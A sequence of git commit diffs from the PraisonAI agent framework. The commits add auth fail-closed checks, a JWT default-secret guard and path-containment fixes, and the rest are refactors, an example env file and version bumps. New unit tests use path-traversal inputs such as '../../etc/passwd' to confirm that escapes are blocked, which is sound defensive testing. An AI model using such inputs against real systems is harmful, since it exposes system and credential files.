src/praisonai-platform/praisonai_platform/services/auth_service.py+4 −0 modified@@ -113,6 +113,10 @@ async def login(self, email: str, password: str) -> Optional[tuple[User, str]]: def _issue_token(self, user: User) -> str: """Issue a JWT for a user.""" + if JWT_SECRET == _DEFAULT_SECRET and os.environ.get("PLATFORM_ENV", "dev") != "dev": + raise RuntimeError( + "Refusing to issue JWT with default PLATFORM_JWT_SECRET outside dev" + ) now = datetime.now(timezone.utc) payload = { "sub": user.id,
src/praisonai-platform/tests/test_workspace_rbac.py+18 −0 added@@ -0,0 +1,18 @@ +"""Workspace member RBAC and cross-workspace IDOR guards.""" + +from __future__ import annotations + +import pytest +from fastapi import HTTPException + +from praisonai_platform.api.deps import ensure_resource_in_workspace + + +def test_ensure_resource_in_workspace_rejects_mismatch(): + with pytest.raises(HTTPException) as exc: + ensure_resource_in_workspace("ws-a", "ws-b", label="Issue") + assert exc.value.status_code == 404 + + +def test_ensure_resource_in_workspace_allows_match(): + ensure_resource_in_workspace("ws-a", "ws-a", label="Issue")
src/praisonai/praisonai/api/agent_invoke.py+14 −2 modified@@ -29,14 +29,26 @@ # Authentication import os CALL_SERVER_TOKEN = os.getenv('CALL_SERVER_TOKEN') +_CALL_AUTH_DISABLED = os.getenv('PRAISONAI_CALL_AUTH', '').lower() == 'disabled' + async def verify_token( request: Request, authorization: Optional[str] = Header(None) ) -> None: """Verify API token for authentication.""" - if not FASTAPI_AVAILABLE or not CALL_SERVER_TOKEN: - return # No authentication if FastAPI unavailable or no token set + if not FASTAPI_AVAILABLE: + return + if _CALL_AUTH_DISABLED: + return + if not CALL_SERVER_TOKEN: + raise HTTPException( + status_code=503, + detail=( + "CALL_SERVER_TOKEN is not configured. Set CALL_SERVER_TOKEN or " + "PRAISONAI_CALL_AUTH=disabled to run without authentication." + ), + ) token = None
src/praisonai/praisonai/code/tools/write_file.py+10 −11 modified@@ -58,9 +58,10 @@ def write_file( >>> if result['success']: ... print(f"Wrote to {result['path']}") """ - # Resolve path - if workspace and not os.path.isabs(path): - abs_path = os.path.abspath(os.path.join(workspace, path)) + # Resolve path — default workspace is cwd so relative paths cannot escape + effective_workspace = workspace or os.getcwd() + if not os.path.isabs(path): + abs_path = os.path.abspath(os.path.join(effective_workspace, path)) else: abs_path = os.path.abspath(path) @@ -73,14 +74,12 @@ def write_file( 'path': path, } - # Security check - ensure path is within workspace if specified - if workspace: - if not is_path_within_directory(abs_path, workspace): - return { - 'success': False, - 'error': f"Path '{path}' is outside the workspace", - 'path': path, - } + if not is_path_within_directory(abs_path, effective_workspace): + return { + 'success': False, + 'error': f"Path '{path}' is outside the workspace", + 'path': path, + } # Process content processed_content = content
src/praisonai/praisonai/mcp_server/adapters/cli_tools.py+33 −5 modified@@ -21,6 +21,31 @@ logger = logging.getLogger(__name__) +def _resolve_cwd_yaml_path(file_path: str) -> "Path": + """Resolve a YAML path strictly inside the current working directory.""" + from pathlib import Path + + if not isinstance(file_path, str) or not file_path: + raise ValueError("file_path must be a non-empty string") + if ( + "/" in file_path + or "\\" in file_path + or "\x00" in file_path + or file_path.startswith(".") + or file_path in ("..", ".") + ): + raise ValueError(f"invalid file_path: {file_path!r}") + if not file_path.endswith((".yaml", ".yml")): + raise ValueError("file_path must be a .yaml or .yml file") + base = Path.cwd().resolve() + candidate = (base / file_path).resolve() + try: + candidate.relative_to(base) + except ValueError as exc: + raise ValueError(f"invalid file_path: {file_path!r}") from exc + return candidate + + def register_cli_tools() -> None: """Register CLI-based MCP tools.""" @@ -44,7 +69,8 @@ def workflow_validate(file_path: str) -> str: """Validate a workflow YAML file.""" try: import yaml - with open(file_path, 'r') as f: + yaml_path = _resolve_cwd_yaml_path(file_path) + with open(yaml_path, 'r') as f: config = yaml.safe_load(f) required = ["framework", "topic"] @@ -64,9 +90,10 @@ def workflow_validate(file_path: str) -> str: def workflow_show(file_path: str) -> str: """Show workflow configuration.""" try: - with open(file_path, 'r') as f: - content = f.read() - return content + yaml_path = _resolve_cwd_yaml_path(file_path) + return yaml_path.read_text() + except ValueError as e: + return f"Error: {e}" except FileNotFoundError: return f"File not found: {file_path}" except Exception as e: @@ -417,7 +444,8 @@ def deploy_validate(config_path: str = "deploy.yaml") -> str: """Validate deployment configuration.""" try: import yaml - with open(config_path, 'r') as f: + yaml_path = _resolve_cwd_yaml_path(config_path) + with open(yaml_path, 'r') as f: config = yaml.safe_load(f) required = ["name", "type"]
src/praisonai/tests/unit/code/test_write_file_workspace.py+23 −0 added@@ -0,0 +1,23 @@ +"""write_file must constrain paths when workspace is omitted.""" + +from __future__ import annotations + +import os + +from praisonai.code.tools.write_file import write_file + + +def test_write_file_without_workspace_stays_in_cwd(tmp_path, monkeypatch): + monkeypatch.chdir(tmp_path) + ok = write_file("out.txt", "hello", workspace=None) + assert ok["success"] is True + assert (tmp_path / "out.txt").read_text() == "hello" + + +def test_write_file_without_workspace_blocks_escape(tmp_path, monkeypatch): + project = tmp_path / "project" + project.mkdir() + monkeypatch.chdir(project) + result = write_file("../outside.txt", "nope", workspace=None) + assert result["success"] is False + assert "outside" in result["error"].lower()
src/praisonai/tests/unit/mcp_server/test_cli_tools_path_hardening.py+21 −0 added@@ -0,0 +1,21 @@ +"""MCP CLI tools must not read arbitrary filesystem paths.""" + +from __future__ import annotations + +import pytest + + +def test_resolve_cwd_yaml_rejects_traversal(tmp_path, monkeypatch): + monkeypatch.chdir(tmp_path) + from praisonai.mcp_server.adapters import cli_tools + + (tmp_path / "workflow.yaml").write_text("framework: test\ntopic: t\n") + + path = cli_tools._resolve_cwd_yaml_path("workflow.yaml") + assert path.name == "workflow.yaml" + + with pytest.raises(ValueError): + cli_tools._resolve_cwd_yaml_path("../../etc/passwd") + + with pytest.raises(ValueError): + cli_tools._resolve_cwd_yaml_path("/etc/passwd")
src/praisonai/tests/unit/test_call_server_auth.py+40 −0 added@@ -0,0 +1,40 @@ +"""Call server agent API must not fail open without CALL_SERVER_TOKEN.""" + +from __future__ import annotations + +import importlib +import os + +import pytest + +pytest.importorskip("fastapi") + + +@pytest.mark.asyncio +async def test_verify_token_requires_token_by_default(monkeypatch): + monkeypatch.delenv("CALL_SERVER_TOKEN", raising=False) + monkeypatch.delenv("PRAISONAI_CALL_AUTH", raising=False) + + mod = importlib.import_module("praisonai.api.agent_invoke") + importlib.reload(mod) + + class _Req: + query_params = {} + + with pytest.raises(Exception) as exc: + await mod.verify_token(_Req(), authorization=None) + assert "CALL_SERVER_TOKEN" in str(exc.value) + + +@pytest.mark.asyncio +async def test_verify_token_optout(monkeypatch): + monkeypatch.delenv("CALL_SERVER_TOKEN", raising=False) + monkeypatch.setenv("PRAISONAI_CALL_AUTH", "disabled") + + mod = importlib.import_module("praisonai.api.agent_invoke") + importlib.reload(mod) + + class _Req: + query_params = {} + + await mod.verify_token(_Req(), authorization=None)
7efd0075dab1fix: resolve architectural gaps in src/praisonai/praisonai (#1658)
3 files changed · +127 −78
src/praisonai/praisonai/agents_generator.py+20 −51 modified@@ -448,36 +448,6 @@ def load_tools_from_package(self, package_path): tools_dict[name] = obj return tools_dict - def load_tools_from_tools_py(self): - """ - Imports and returns all contents from tools.py file. - Uses the tool registry instead of global namespace pollution. - - Returns: - list: A list of callable functions with proper formatting - """ - tools_list = [] - try: - # Try to import tools.py from current directory using safe loading - from ._safe_loader import load_user_module - module = load_user_module("tools.py", name="tools") - if module is None: - self.logger.debug("tools.py not found or local tools loading disabled") - return tools_list - - # Register functions in the tool registry instead of globals() - registered_tools = self.tool_registry.register_from_module(module) - tools_list = [self.tool_registry.get_function(name) for name in registered_tools] - - self.logger.debug(f"Loaded {len(tools_list)} tool functions from tools.py") - self.logger.debug(f"Registered tools: {registered_tools}") - - except FileNotFoundError: - self.logger.debug("tools.py not found in current directory") - except Exception as e: - self.logger.warning(f"Error loading tools from tools.py: {e}") - - return tools_list def generate_crew_and_kickoff(self): """ @@ -587,12 +557,10 @@ def generate_crew_and_kickoff(self): tools_py_path = os.path.join(root_directory, 'tools.py') tools_dir_path = Path(root_directory) / 'tools' + # Use consolidated ToolResolver for tools.py loading + tools_dict.update(self.tool_resolver.get_local_tool_classes()) if os.path.isfile(tools_py_path): - from ._safe_loader import load_user_module - module = load_user_module(tools_py_path, name="tools_module") - if module is not None: - tools_dict.update(self._extract_tool_classes(module)) - self.logger.debug("tools.py exists in the root directory. Loading tools.py and skipping tools folder.") + self.logger.debug("tools.py exists in the root directory. Loading tools.py and skipping tools folder.") elif tools_dir_path.is_dir(): from ._safe_loader import load_user_module for py_file in tools_dir_path.glob("*.py"): @@ -1195,8 +1163,8 @@ def _run_praisonai(self, config, topic, tools_dict): # Use existing tool resolver instance - # Load tools from local tools.py (backward compat) - tools_list = self.load_tools_from_tools_py() + # Load tools from local tools.py (backward compat) - use consolidated ToolResolver + tools_list = self.tool_resolver.get_local_callables() self.logger.debug(f"Loaded tools from tools.py: {tools_list}") # Initialize InteractiveRuntime for ACP/LSP if enabled globally @@ -1224,25 +1192,24 @@ def _run_praisonai(self, config, topic, tools_dict): # Create a scoped event loop instead of modifying process globals interactive_loop = asyncio.new_event_loop() - try: - interactive_loop.run_until_complete(interactive_runtime.start()) - - centric_tools = create_agent_centric_tools(interactive_runtime) - self.logger.info(f"Loaded {len(centric_tools)} InteractiveRuntime tools") - tools_list.extend(centric_tools) - - finally: - try: - interactive_loop.run_until_complete(interactive_runtime.stop()) - except Exception as stop_error: - self.logger.warning(f"Error stopping InteractiveRuntime: {stop_error}") - finally: - interactive_loop.close() + + # Start the runtime but keep it alive for agent execution + interactive_loop.run_until_complete(interactive_runtime.start()) + + centric_tools = create_agent_centric_tools(interactive_runtime) + self.logger.info(f"Loaded {len(centric_tools)} InteractiveRuntime tools") + tools_list.extend(centric_tools) except ImportError as e: self.logger.warning(f"Failed to load InteractiveRuntime components: {e}") + interactive_runtime = None + interactive_loop = None except Exception as e: self.logger.error(f"Error starting InteractiveRuntime: {e}") + if 'interactive_loop' in locals() and interactive_loop is not None: + interactive_loop.close() + interactive_runtime = None + interactive_loop = None # Create agents from config for role, details in config['roles'].items(): @@ -1482,6 +1449,8 @@ def _run_praisonai(self, config, topic, tools_dict): interactive_loop.run_until_complete(interactive_runtime.stop()) except Exception as e: self.logger.error(f"Error stopping InteractiveRuntime: {e}") + finally: + interactive_loop.close() if AGENTOPS_AVAILABLE: import agentops
src/praisonai/praisonai/framework_adapters/autogen_adapter.py+48 −6 modified@@ -5,7 +5,7 @@ """ import logging -from typing import Dict, List, Any +from typing import Dict, List, Any, Optional, Callable from .base import BaseFrameworkAdapter logger = logging.getLogger(__name__) @@ -26,14 +26,28 @@ def is_available(self) -> bool: except ImportError: return False - def run(self, config: Dict[str, Any], llm_config: List[Dict], topic: str) -> str: + def run( + self, + config: Dict[str, Any], + llm_config: List[Dict], + topic: str, + *, + tools_dict: Optional[Dict[str, Any]] = None, + agent_callback: Optional[Callable] = None, + task_callback: Optional[Callable] = None, + cli_config: Optional[Dict[str, Any]] = None, + ) -> str: """ Run AutoGen v0.2 with given configuration. Args: config: AutoGen configuration with agents llm_config: LLM configuration list topic: Topic for the tasks + tools_dict: Available tools dictionary + agent_callback: Callback for agent events + task_callback: Callback for task events + cli_config: CLI configuration Returns: Execution result as string @@ -110,14 +124,28 @@ def is_available(self) -> bool: except ImportError: return False - def run(self, config: Dict[str, Any], llm_config: List[Dict], topic: str) -> str: + def run( + self, + config: Dict[str, Any], + llm_config: List[Dict], + topic: str, + *, + tools_dict: Optional[Dict[str, Any]] = None, + agent_callback: Optional[Callable] = None, + task_callback: Optional[Callable] = None, + cli_config: Optional[Dict[str, Any]] = None, + ) -> str: """ Run AutoGen v0.4 with given configuration. Args: config: AutoGen v0.4 configuration with agents llm_config: LLM configuration list topic: Topic for the tasks + tools_dict: Available tools dictionary + agent_callback: Callback for agent events + task_callback: Callback for task events + cli_config: CLI configuration Returns: Execution result as string @@ -128,7 +156,7 @@ def run(self, config: Dict[str, Any], llm_config: List[Dict], topic: str) -> str # For now, return a proper error message instead of delegating # TODO: Implement full AutoGen v0.4 adapter logic logger.warning("AutoGen v0.4 adapter is not yet fully implemented") - return "### AutoGen v0.4 Output ###\nAutoGen v0.4 adapter is not yet fully implemented. Please use 'autogen' framework for AutoGen v0.2 support." + raise NotImplementedError("AutoGen v0.4 adapter is not yet fully implemented. Please use 'autogen' framework for AutoGen v0.2 support.") class AG2Adapter(BaseFrameworkAdapter): @@ -148,14 +176,28 @@ def is_available(self) -> bool: except Exception: return False - def run(self, config: Dict[str, Any], llm_config: List[Dict], topic: str) -> str: + def run( + self, + config: Dict[str, Any], + llm_config: List[Dict], + topic: str, + *, + tools_dict: Optional[Dict[str, Any]] = None, + agent_callback: Optional[Callable] = None, + task_callback: Optional[Callable] = None, + cli_config: Optional[Dict[str, Any]] = None, + ) -> str: """ Run AG2 with given configuration. Args: config: AG2 configuration with agents llm_config: LLM configuration list topic: Topic for the tasks + tools_dict: Available tools dictionary + agent_callback: Callback for agent events + task_callback: Callback for task events + cli_config: CLI configuration Returns: Execution result as string @@ -166,4 +208,4 @@ def run(self, config: Dict[str, Any], llm_config: List[Dict], topic: str) -> str # For now, return a proper error message instead of delegating # TODO: Implement full AG2 adapter logic logger.warning("AG2 adapter is not yet fully implemented") - return "### AG2 Output ###\nAG2 adapter is not yet fully implemented. Please use 'autogen' framework for AutoGen/AG2 support." \ No newline at end of file + raise NotImplementedError("AG2 adapter is not yet fully implemented. Please use 'autogen' framework for AutoGen/AG2 support.") \ No newline at end of file
src/praisonai/praisonai/tool_resolver.py+59 −21 modified@@ -30,6 +30,7 @@ from pathlib import Path from typing import Any, Callable, Dict, List, Mapping, Optional from types import MappingProxyType +from ._safe_loader import load_user_module logger = logging.getLogger(__name__) @@ -74,31 +75,16 @@ def _load_local_tools(self) -> Mapping[str, Callable]: if self._local_tools_loaded: # Double-check inside lock return self._local_tools_cache - # Security: Require explicit opt-in for local tools loading - if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": - logger.debug("Local tools loading disabled. Set PRAISONAI_ALLOW_LOCAL_TOOLS=true to enable.") - self._local_tools_cache = MappingProxyType({}) - self._local_tools_loaded = True - return self._local_tools_cache - tools_path = Path(self._tools_py_path) - if not tools_path.exists(): - logger.debug(f"No local tools.py found at {tools_path}") - self._local_tools_cache = MappingProxyType({}) - self._local_tools_loaded = True - return self._local_tools_cache - try: - spec = importlib.util.spec_from_file_location("tools", str(tools_path)) - if spec is None or spec.loader is None: - logger.warning(f"Could not load spec for {tools_path}") + # Use the same safe loader as other tools.py loading paths + module = load_user_module(self._tools_py_path, name="tools") + if module is None: + logger.debug(f"Local tools loading disabled or tools.py not found at {self._tools_py_path}") self._local_tools_cache = MappingProxyType({}) self._local_tools_loaded = True return self._local_tools_cache - module = importlib.util.module_from_spec(spec) - spec.loader.exec_module(module) - # Build cache locally, then freeze cache: Dict[str, Callable] = {} for name, obj in inspect.getmembers(module): @@ -108,13 +94,13 @@ def _load_local_tools(self) -> Mapping[str, Callable]: cache[name] = obj logger.debug(f"Loaded local tool: {name}") - logger.info(f"Loaded {len(cache)} tools from {tools_path}") + logger.info(f"Loaded {len(cache)} tools from {self._tools_py_path}") # Create immutable view to prevent concurrent modification self._local_tools_cache = MappingProxyType(cache) except Exception as e: - logger.warning(f"Error loading tools from {tools_path}: {e}") + logger.warning(f"Error loading tools from {self._tools_py_path}: {e}") self._local_tools_cache = MappingProxyType({}) self._local_tools_loaded = True @@ -381,6 +367,58 @@ def clear_cache(self) -> None: with self._local_tools_lock: self._local_tools_cache = MappingProxyType({}) self._local_tools_loaded = False + + def get_local_callables(self) -> List[Callable]: + """Get functions exposed by tools.py (path A semantics). + + Returns: + List of callable functions from tools.py + """ + local_tools = self._load_local_tools() + return list(local_tools.values()) + + def get_local_tool_classes(self) -> Dict[str, Any]: + """Get BaseTool/langchain class instances from tools.py (path B semantics). + + Returns: + Dictionary mapping class names to instantiated tool objects + """ + try: + # Use the same safe loader to get the module + module = load_user_module(self._tools_py_path, name="tools_module") + if module is None: + return {} + + # Import the necessary classes (matching agents_generator.py logic) + BaseTool = None + PRAISONAI_TOOLS_AVAILABLE = False + try: + from praisonai_tools import BaseTool + PRAISONAI_TOOLS_AVAILABLE = True + except ImportError: + try: + from praisonai.tools import BaseTool + PRAISONAI_TOOLS_AVAILABLE = True + except ImportError: + pass + + result = {} + for name, obj in inspect.getmembers(module, + lambda x: inspect.isclass(x) and ( + x.__module__.startswith('langchain_community.tools') or + (PRAISONAI_TOOLS_AVAILABLE and BaseTool and issubclass(x, BaseTool)) + ) and x is not BaseTool): + try: + result[name] = obj() + logger.debug(f"Loaded local tool class: {name}") + except Exception as e: + logger.warning(f"Error instantiating tool class {name}: {e}") + continue + + return result + except Exception as e: + logger.warning(f"Error loading tool classes from {self._tools_py_path}: {e}") + return {} # Convenience functions that construct resolver explicitly (no global singleton)
80c78071fc86fix: resolve critical correctness, concurrency, and safety gaps (#1637)
3 files changed · +64 −39
src/praisonai/praisonai/agents_generator.py+28 −23 modified@@ -43,10 +43,12 @@ # Check for additional framework availability AG2_AVAILABLE = False PRAISONAI_AVAILABLE = False +AGENTOPS_AVAILABLE = False try: import importlib.util AG2_AVAILABLE = importlib.util.find_spec("ag2") is not None PRAISONAI_AVAILABLE = importlib.util.find_spec("praisonaiagents") is not None + AGENTOPS_AVAILABLE = importlib.util.find_spec("agentops") is not None except ImportError: pass @@ -375,20 +377,19 @@ def is_function_or_decorated(self, obj): def load_tools_from_module(self, module_path): """ - Loads tools from a specified module path. + Load function tools from a user-supplied module (gated by PRAISONAI_ALLOW_LOCAL_TOOLS). Parameters: module_path (str): The path to the module containing the tools. Returns: dict: A dictionary containing the names of the tools as keys and the corresponding functions or objects as values. - - Raises: - FileNotFoundError: If the specified module path does not exist. + Returns an empty dict if the module cannot be loaded (path missing, loading blocked by PRAISONAI_ALLOW_LOCAL_TOOLS, or any other load error). """ - spec = importlib.util.spec_from_file_location("tools_module", module_path) - module = importlib.util.module_from_spec(spec) - spec.loader.exec_module(module) + from ._safe_loader import load_user_module + module = load_user_module(module_path, name="tools_module") + if module is None: + return {} return {name: obj for name, obj in inspect.getmembers(module, self.is_function_or_decorated)} def _extract_tool_classes(self, module): @@ -411,21 +412,13 @@ def _extract_tool_classes(self, module): def load_tools_from_module_class(self, module_path): """ - Loads tools from a specified module path containing classes that inherit from BaseTool - or are part of langchain_community.tools package. + Load BaseTool / langchain tool classes from a user-supplied module (gated by PRAISONAI_ALLOW_LOCAL_TOOLS). """ - spec = importlib.util.spec_from_file_location("tools_module", module_path) - module = importlib.util.module_from_spec(spec) - try: - spec.loader.exec_module(module) - return {name: obj() for name, obj in inspect.getmembers(module, - lambda x: inspect.isclass(x) and ( - x.__module__.startswith('langchain_community.tools') or - (PRAISONAI_TOOLS_AVAILABLE and BaseTool and issubclass(x, BaseTool)) - ) and x is not BaseTool)} - except ImportError as e: - self.logger.warning(f"Error loading tools from {module_path}: {e}") + from ._safe_loader import load_user_module + module = load_user_module(module_path, name="tools_module") + if module is None: return {} + return self._extract_tool_classes(module) def load_tools_from_package(self, package_path): """ @@ -784,7 +777,11 @@ def _run_autogen(self, config, topic, tools_dict): result = "### Output ###\n" + response[-1].summary if hasattr(response[-1], 'summary') else "" if AGENTOPS_AVAILABLE: - agentops.end_session("Success") + import agentops + try: + agentops.end_session("Success") + except Exception as e: # noqa: BLE001 -- agentops errors must not crash the caller + self.logger.warning(f"agentops.end_session failed: {e}") return result @@ -1171,7 +1168,11 @@ def _run_crewai(self, config, topic, tools_dict): result = f"### Task Output ###\n{response}" if AGENTOPS_AVAILABLE: - agentops.end_session("Success") + import agentops + try: + agentops.end_session("Success") + except Exception as e: # noqa: BLE001 -- agentops errors must not crash the caller + self.logger.warning(f"agentops.end_session failed: {e}") return result @@ -1479,6 +1480,10 @@ def _run_praisonai(self, config, topic, tools_dict): self.logger.error(f"Error stopping InteractiveRuntime: {e}") if AGENTOPS_AVAILABLE: - agentops.end_session("Success") + import agentops + try: + agentops.end_session("Success") + except Exception as e: # noqa: BLE001 -- agentops errors must not crash the caller + self.logger.warning(f"agentops.end_session failed: {e}") return result
src/praisonai/praisonai/async_agent_scheduler.py+34 −14 modified@@ -250,10 +250,21 @@ async def stop(self) -> bool: self.is_running = False logger.info("Async agent scheduler stopped") - logger.info(f"Execution stats - Total: {self._execution_count}, Success: {self._success_count}, Failed: {self._failure_count}") + + # Log final stats with consistent snapshot + if self._stats_lock is not None: + async with self._stats_lock: + total = self._execution_count + ok = self._success_count + fail = self._failure_count + else: + total = self._execution_count + ok = self._success_count + fail = self._failure_count + logger.info(f"Execution stats - Total: {total}, Success: {ok}, Failed: {fail}") return True - def get_stats(self) -> Dict[str, Any]: + async def get_stats(self) -> Dict[str, Any]: """ Get current execution statistics (synchronous, best-effort). @@ -264,12 +275,26 @@ def get_stats(self) -> Dict[str, Any]: Returns: Dictionary with execution stats """ + # Primitives are created lazily in _ensure_async_primitives(); if not yet + # initialized there are no concurrent writers, so a direct read is safe. + if self._stats_lock is not None: + async with self._stats_lock: + total = self._execution_count + ok = self._success_count + fail = self._failure_count + running = self.is_running + else: + total = self._execution_count + ok = self._success_count + fail = self._failure_count + running = self.is_running + return { - "is_running": self.is_running, - "total_executions": self._execution_count, - "successful_executions": self._success_count, - "failed_executions": self._failure_count, - "success_rate": (self._success_count / self._execution_count * 100) if self._execution_count > 0 else 0 + "is_running": running, + "total_executions": total, + "successful_executions": ok, + "failed_executions": fail, + "success_rate": (ok / total * 100) if total > 0 else 0 } async def get_stats_async(self) -> Dict[str, Any]: @@ -327,11 +352,8 @@ async def _run_schedule(self, interval: int, max_retries: int): async def _execute_with_retry(self, max_retries: int): """Execute agent with retry logic.""" - # Ensure async primitives are available - if self._stats_lock is None: - self._ensure_async_primitives() - - # Atomically increment execution count + self._ensure_async_primitives() # guarantees _stats_lock is bound to current loop + async with self._stats_lock: self._execution_count += 1 @@ -344,7 +366,6 @@ async def _execute_with_retry(self, max_retries: int): logger.info(f"Async agent execution successful on attempt {attempt + 1}") logger.info(f"Result: {result}") - # Atomically increment success count async with self._stats_lock: self._success_count += 1 safe_call(self.on_success, result) @@ -359,7 +380,6 @@ async def _execute_with_retry(self, max_retries: int): logger.info(f"Waiting {wait_time}s before async retry...") await asyncio.sleep(wait_time) - # Atomically increment failure count async with self._stats_lock: self._failure_count += 1 logger.error(f"Async agent execution failed after {max_retries} attempts")
src/praisonai/tests/unit/scheduler/test_async_agent_scheduler.py+2 −2 modified@@ -170,7 +170,7 @@ async def test_stop_logs_non_cancelled_exception_from_cancelled_task(self): scheduler._ensure_async_primitives() # Simulate a task that raises a plain Exception when awaited after cancel - future = asyncio.get_event_loop().create_future() + future = asyncio.get_running_loop().create_future() future.set_exception(RuntimeError("task blew up")) scheduler._task = future scheduler._stop_event.set() @@ -273,7 +273,7 @@ async def test_start_invalid_schedule_returns_false(self): @pytest.mark.asyncio async def test_get_stats_initial_state(self): scheduler = _make_scheduler() - stats = scheduler.get_stats() + stats = await scheduler.get_stats() assert stats["is_running"] is False assert stats["total_executions"] == 0 assert stats["successful_executions"] == 0
15b7b82b99299ec90361d616docs: auto-update feature parity trackers [skip ci]
3 files changed · +3 −3
src/praisonai-rust/FEATURE_PARITY_TRACKER.json+1 −1 modified@@ -1,6 +1,6 @@ { "version": "1.5.87", - "lastUpdated": "2026-05-12", + "lastUpdated": "2026-05-13", "generatedBy": "praisonai._dev.parity.generator", "sourceOfTruth": "Python SDK (praisonaiagents)", "status": "PARITY_ACHIEVED",
src/praisonai-ts/FEATURE_PARITY_TRACKER.json+1 −1 modified@@ -1,6 +1,6 @@ { "version": "1.5.87", - "lastUpdated": "2026-05-12", + "lastUpdated": "2026-05-13", "generatedBy": "praisonai._dev.parity.generator", "sourceOfTruth": "Python SDK (praisonaiagents)", "summary": {
src/praisonai-ts/PARITY.md+1 −1 modified@@ -1,6 +1,6 @@ # Feature Parity Tracker -> **Version:** 1.5.87 | **Last Updated:** 2026-05-12 +> **Version:** 1.5.87 | **Last Updated:** 2026-05-13 > **Source of Truth:** Python SDK (praisonaiagents) ## Summary
7fcd6af4c614fix(claw): add .env.example and document TAVILY_API_KEY requirement (#1649)
2 files changed · +52 −0
.env.example+43 −0 added@@ -0,0 +1,43 @@ +# PraisonAI Environment Variables +# Copy this file to .env and update with your actual values + +# === Required === +OPENAI_API_KEY=sk-... # OpenAI key for LLM calls. Get yours at https://platform.openai.com + +# === Required for Claw web-search tool === +TAVILY_API_KEY=tvly-... # Get yours at https://app.tavily.com (free tier available) + +# === Optional: Claw dashboard security === +PRAISONAI_ALLOW_LOCAL_TOOLS=0 # Set to 1 to enable local shell tools (security risk) + +# === Optional: Alternative LLM Providers === +ANTHROPIC_API_KEY=sk-ant-... # Anthropic Claude models +GOOGLE_API_KEY=... # Google Gemini models +GROQ_API_KEY=gsk_... # Groq (fast inference) +COHERE_API_KEY=... # Cohere models +AZURE_OPENAI_API_KEY=... # Azure OpenAI +AZURE_OPENAI_ENDPOINT=... # Azure OpenAI endpoint + +# === Optional: Memory backends === +MEM0_API_KEY=... # Mem0 memory service +REDIS_URL=redis://localhost:6379 # Redis for state management + +# === Optional: Observability === +LANGFUSE_SECRET_KEY=sk-lf-... # Langfuse tracing +LANGFUSE_PUBLIC_KEY=pk-lf-... # Langfuse public key + +# === Optional: Bot platforms === +TELEGRAM_BOT_TOKEN=... # Telegram bot token +DISCORD_BOT_TOKEN=... # Discord bot token +SLACK_BOT_TOKEN=xoxb-... # Slack bot token +SLACK_APP_TOKEN=xapp-... # Slack app token +WHATSAPP_ACCESS_TOKEN=... # WhatsApp bot access token +WHATSAPP_PHONE_NUMBER_ID=... # WhatsApp phone number ID + +# === Optional: Database === +DATABASE_URL=sqlite:///~/.praison/database.sqlite # Database connection string + +# === Optional: Development === +LOGLEVEL=INFO # Logging level (DEBUG, INFO, WARNING, ERROR) +CHAINLIT_AUTH_SECRET=... # Chainlit authentication secret +DEBUG=false # Enable debug mode
README.md+9 −0 modified@@ -358,6 +358,15 @@ pip install "praisonai[claw]" praisonai claw ``` +#### Required Environment Variables + +Copy `.env.example` to `.env` and configure the following variables: + +| Variable | Required | Description | +|----------|----------|-------------| +| `OPENAI_API_KEY` | Yes | OpenAI API key for all LLM calls | +| `TAVILY_API_KEY` | Yes (Claw) | Tavily key for the built-in web-search tool. Get one free at https://app.tavily.com | + Open **http://localhost:8082** — the dashboard comes with 13 built-in pages: Chat, Agents, Memory, Knowledge, Channels, Guardrails, Cron, and more. Add messaging channels directly from the UI. > 📖 [Full Claw docs](https://docs.praison.ai/docs/concepts/claw) — platform tokens, CLI options, Docker, and YAML agent mode
b4c5d6e7f8a9a29deefef7e3a3f2b4c5d6e7e3b4b4b39e012f8162207fcba72e156c4d01Release v4.6.40
12 files changed · +13 −13
docker/Dockerfile.chat+1 −1 modified@@ -16,7 +16,7 @@ RUN mkdir -p /root/.praison # Install Python packages (using latest versions) RUN pip install --no-cache-dir \ praisonai_tools \ - "praisonai>=4.6.39" \ + "praisonai>=4.6.40" \ "praisonai[chat]" \ "embedchain[github,youtube]"
docker/Dockerfile.dev+1 −1 modified@@ -20,7 +20,7 @@ RUN mkdir -p /root/.praison # Install Python packages (using latest versions) RUN pip install --no-cache-dir \ praisonai_tools \ - "praisonai>=4.6.39" \ + "praisonai>=4.6.40" \ "praisonai[ui]" \ "praisonai[chat]" \ "praisonai[realtime]" \
docker/Dockerfile.ui+1 −1 modified@@ -16,7 +16,7 @@ RUN mkdir -p /root/.praison # Install Python packages (using latest versions) RUN pip install --no-cache-dir \ praisonai_tools \ - "praisonai>=4.6.39" \ + "praisonai>=4.6.40" \ "praisonai[ui]" \ "praisonai[crewai]"
src/praisonai-agents/pyproject.toml+1 −1 modified@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta" [project] name = "praisonaiagents" -version = "1.6.39" +version = "1.6.40" description = "Praison AI agents for completing complex tasks with Self Reflection Agents" readme = "README.md" requires-python = ">=3.10"
src/praisonai-agents/uv.lock+1 −1 modified@@ -2992,7 +2992,7 @@ wheels = [ [[package]] name = "praisonaiagents" -version = "1.6.39" +version = "1.6.40" source = { editable = "." } dependencies = [ { name = "aiohttp" },
src/praisonai-platform/pyproject.toml+1 −1 modified@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta" [project] name = "praisonai-platform" -version = "0.1.2" +version = "0.1.4" description = "Platform layer for PraisonAI — workspace, auth, issues, projects" readme = "README.md" requires-python = ">=3.10"
src/praisonai-platform/uv.lock+1 −1 modified@@ -1208,7 +1208,7 @@ wheels = [ [[package]] name = "praisonai-platform" -version = "0.1.2" +version = "0.1.4" source = { editable = "." } dependencies = [ { name = "aiosqlite" },
src/praisonai/praisonai/deploy.py+1 −1 modified@@ -57,7 +57,7 @@ def create_dockerfile(self): file.write("FROM python:3.11-slim\n") file.write("WORKDIR /app\n") file.write("COPY . .\n") - file.write("RUN pip install flask praisonai==4.6.39 gunicorn markdown\n") + file.write("RUN pip install flask praisonai==4.6.40 gunicorn markdown\n") file.write("EXPOSE 8080\n") file.write('CMD ["gunicorn", "-b", "0.0.0.0:8080", "api:app"]\n')
